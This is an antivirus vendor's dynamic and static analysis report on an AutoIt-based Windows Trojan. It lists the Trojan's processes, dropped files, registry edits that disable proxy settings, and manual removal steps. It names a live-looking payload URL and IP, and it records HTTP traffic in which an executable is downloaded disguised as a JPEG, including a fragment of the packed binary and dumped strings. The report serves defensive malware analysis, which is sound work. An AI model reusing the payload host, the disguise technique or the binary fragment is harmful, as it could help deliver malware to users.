Gen.Variant.Strictor.109242_9e8996a799 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

rundll32.exe:3376
netsh.exe:3716
netsh.exe:3548
netsh.exe:3972

The Trojan injects its code into the following process(es):

%original file name%.exe:3708

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process rundll32.exe:3376 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\12E0A2CQ\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\ETB8MR5G\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\09RZGTKD\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\NY8WI1TB\desktop.ini (67 bytes)

The process %original file name%.exe:3708 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\netcfg.exe (61716 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\X66G0HIG\logo7[1].jpg (228673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\freder1.ini (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LQUMIDKJ\next3[1].jpg (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netcfg.exe (3073 bytes)

Registry activity

The process netsh.exe:3716 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E\@%SystemRoot%\system32]
"dhcpqec.dll,-102" = "Microsoft Corporation"
"dhcpqec.dll,-103" = "1.0"
"dhcpqec.dll,-100" = "DHCP Quarantine Enforcement Client"
"dhcpqec.dll,-101" = "Provides DHCP based enforcement for NAP"
"eapqec.dll,-102" = "1.0"
"eapqec.dll,-100" = "EAP Quarantine Enforcement Client"
"eapqec.dll,-101" = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."
"napipsec.dll,-4" = "1.0"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E\@%SystemRoot%\system32]
"napipsec.dll,-1" = "IPsec Relying Party"
"eapqec.dll,-103" = "Microsoft Corporation"
"napipsec.dll,-3" = "Microsoft Corporation"
"napipsec.dll,-2" = "Provides IPsec based enforcement for Network Access Protection"
"tsgqec.dll,-102" = "1.0"
"tsgqec.dll,-103" = "Microsoft Corporation"
"tsgqec.dll,-100" = "RD Gateway Quarantine Enforcement Client"
"tsgqec.dll,-101" = "Provides RD Gateway enforcement for NAP"

The process netsh.exe:3548 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

The process netsh.exe:3972 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

The process %original file name%.exe:3708 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASMANCS]
"MaxFileSize" = "1048576"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASAPI32]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 38 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASAPI32]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\9e8996a799012b48f118f9ac0dffefd9_RASAPI32]
"MaxFileSize" = "1048576"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

MD5	File path
cabf1aa8e8ed53492c5550c1d1702c8c	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\X66G0HIG\logo7[1].jpg
cabf1aa8e8ed53492c5550c1d1702c8c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\netcfg.exe
cabf1aa8e8ed53492c5550c1d1702c8c	c:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netcfg.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
rundll32.exe:3376
netsh.exe:3716
netsh.exe:3548
netsh.exe:3972
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\12E0A2CQ\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\ETB8MR5G\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\09RZGTKD\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\NY8WI1TB\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\netcfg.exe (61716 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\X66G0HIG\logo7[1].jpg (228673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\freder1.ini (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LQUMIDKJ\next3[1].jpg (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netcfg.exe (3073 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: English (United States)

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	565248	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	569344	352256	351232	5.50126	62566c5eb2e66f770dec5c0af1fb66a9
.rsrc	921600	36864	36352	5.34594	0097148856b9b9be3dce539eaf3433d7

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://ucitsaanglicky.sk/img/next3.jpg	80.242.32.11
hxxp://ucitsaanglicky.sk/img/logo7.jpg	80.242.32.11
teredo.ipv6.microsoft.com	157.56.120.207
dns.msftncsi.com	131.107.255.255

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /img/next3.jpg HTTP/1.1

User-Agent: AutoIt

Host: ucitsaanglicky.sk

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Fri, 31 Mar 2017 04:38:25 GMT

Server: Apache

Last-Modified: Sun, 12 Mar 2017 18:02:51 GMT

ETag: "2012aebf-31-54a8c6740042d"

Accept-Ranges: bytes

Content-Length: 49

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

X-Frame-Options: sameorigin

Content-Type: image/jpeg

[bot]..url=hXXp://ucitsaanglicky.sk/img/logo7.jpgHTTP/1.1 200 OK..Date: Fri, 31 Mar 2017 04:38:25 GMT..Server: Apache..Last-Modified: Sun, 12 Mar 2017 18:02:51 GMT..ETag: "2012aebf-31-54a8c6740042d"..Accept-Ranges: bytes..Content-Length: 49..X-Content-Type-Options: nosniff..X-XSS-Protection: 1; mode=block..X-Frame-Options: sameorigin..Content-Type: image/jpeg..[bot]..url=hXXp://ucitsaanglicky.sk/img/logo7.jpg....

GET /img/logo7.jpg HTTP/1.1

User-Agent: AutoIt

Host: ucitsaanglicky.sk

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Fri, 31 Mar 2017 04:38:28 GMT

Server: Apache

Last-Modified: Thu, 30 Mar 2017 19:35:18 GMT

ETag: "200977fc-75000-54bf7cb04929c"

Accept-Ranges: bytes

Content-Length: 479232

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

X-Frame-Options: sameorigin

Content-Type: image/jpeg

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}..................PE..L....[.X.........."......`...........i.......p....@..........................`............@...@.......@......................[..$....p......................,_.......................................k..H...........................................UPX0....................................UPX1.....`.......\..................@....rsrc........p.......`..............@..............................................................................................................................................................................................................................................................................................................................................................3.08.UPX!....:..#.....K...Y......&...n......1D.....h...Y...<Y. .9p&..Tc8.i.t'.9n,.!s..|'.ExQ".k}.u.;..C.Q.@...P.`.N....1.!.t....T..M".;....T.Lfc .......SVW..j.[..l........dI.....Ky..Nl..(V..(Y_......^[...rp3.Wj._.N..H...^4M......~..^.. $........f.8..F:..<..4M.@.FLPTX\n/xM`d[..................F|U.........V[S...X...&..HS.3.......wi...l.pt.x..?.|........]..f0.................\.J_.....=...Z.V.....4."G.P...........t....H.".....00.....@^...U..].........q.....u.WVw..m...8....u/..o.;u...6...E.................Q.4j ..._^..]..w...n.....\@.....}....

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_3708:

`.rsrc

8G.QEA

j.Yf;

r%f;M

j.Xf;

j.Zf;

PSSSSSSh

Gt.Ht$

.Jw`8Hw~fHw

kernel32.dll

?#%X.y

GetProcessWindowStation

operator

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is compiled without UTF support

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with Unicode property support

\N is not supported in a class

RegDeleteKeyExW

advapi32.dll

Error text not found (please report)

zcÃ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

RegDeleteKeyW

RegEnumKeyExW

RegOpenKeyExW

RegCloseKey

RegCreateKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

keybd_event

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

1!<....>

%c=/Kr

H%d=j@

.text

`.rdata

@.data

.rsrc

@.reloc

tcPwWNVz

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

IPHLPAPI.DLL

MPR.dll

ole32.dll

OLEAUT32.dll

PSAPI.DLL

SHELL32.dll

USER32.dll

USERENV.dll

UxTheme.dll

VERSION.dll

WININET.dll

WINMM.dll

WSOCK32.dll

/AutoIt3ExecuteScript

/AutoIt3ExecuteLine

CMDLINE

CMDLINERAW

>>>AUTOIT NO CMDEXECUTE

FTPSETPROXY

GUICTRLRECVMSG

GUICTRLSENDMSG

GUIGETMSG

GUIREGISTERMSG

HOTKEYSET

HTTPSETPROXY

HTTPSETUSERAGENT

ISKEYWORD

MAPKEYS

MSGBOX

REGENUMKEY

SHELLEXECUTE

SHELLEXECUTEWAIT

TCPACCEPT

TCPCLOSESOCKET

TCPCONNECT

TCPLISTEN

TCPNAMETOIP

TCPRECV

TCPSEND

TCPSHUTDOWN

TCPSTARTUP

TRAYGETMSG

UDPBIND

UDPCLOSESOCKET

UDPOPEN

UDPRECV

UDPSEND

UDPSHUTDOWN

UDPSTARTUP

SendKeyDownDelay

SendKeyDelay

TCPTimeout

mscoree.dll

combase.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

789:;?

APPSKEY

WINDOWSDIR

AUTOITEXE

HOTKEYPRESSED

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

KEYS

\\?\UNC\

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

"%s" (%d) : ==> %s:

\??\%s

GUI_RUNDEFMSG

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AUTOIT.ERROR

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

3, 3, 14, 0

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.

Missing operator in expression."Unbalanced brackets in expression.

Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.#Variable subscript badly formatted.*Subscript used on non-accessible variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.

0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.

Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.

3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.

Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

%original file name%.exe_3708_rwx_010C1000_000DF000: